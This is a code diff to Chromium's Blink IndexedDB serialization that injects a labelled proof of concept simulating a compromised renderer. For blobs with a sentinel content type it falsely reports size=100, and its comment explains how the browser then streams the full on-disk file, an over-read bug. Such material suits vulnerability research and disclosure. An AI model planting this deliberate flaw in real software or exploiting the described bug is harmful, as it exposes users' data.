diff --git a/third_party/blink/renderer/modules/indexeddb/indexed_db_blink_mojom_traits.cc b/third_party/blink/renderer/modules/indexeddb/indexed_db_blink_mojom_traits.cc
index d0966bff0c461..622d2e6aa8b81 100644
--- a/third_party/blink/renderer/modules/indexeddb/indexed_db_blink_mojom_traits.cc
+++ b/third_party/blink/renderer/modules/indexeddb/indexed_db_blink_mojom_traits.cc
@@ -189,7 +189,23 @@ StructTraits<blink::mojom::IDBValueDataView, std::unique_ptr<blink::IDBValue>>::
       blob_info->file->last_modified =
           info.LastModified().value_or(base::Time());
     }
-    blob_info->size = info.size();
+    // -----------------------------------------------------------------------
+    // POC INJECTION (simulated compromised renderer):
+    // When a blob with the sentinel content type is stored in IndexedDB,
+    // report size=100 to the browser even though the actual blob content is
+    // much larger. The browser will write the full blob content to the
+    // on-disk IDB blob store (WriteBlobToFile takes no size and resolves the
+    // blob via the registry), but LevelDB will record size=100. On later
+    // retrieval, BlobReader::Read (DataPipeGetter) reports 100 via the size
+    // callback but streams the entire on-disk file because it passes
+    // UINT64_MAX to OpenFileAndReadIntoPipe instead of clamping to
+    // blob_length_.
+    // -----------------------------------------------------------------------
+    if (info.GetType() == "application/x-poc-mismatch") {
+      blob_info->size = 100;
+    } else {
+      blob_info->size = info.size();
+    }
     blink::String mime_type = info.GetType();
     if (mime_type.IsNull())
       mime_type = blink::g_empty_string;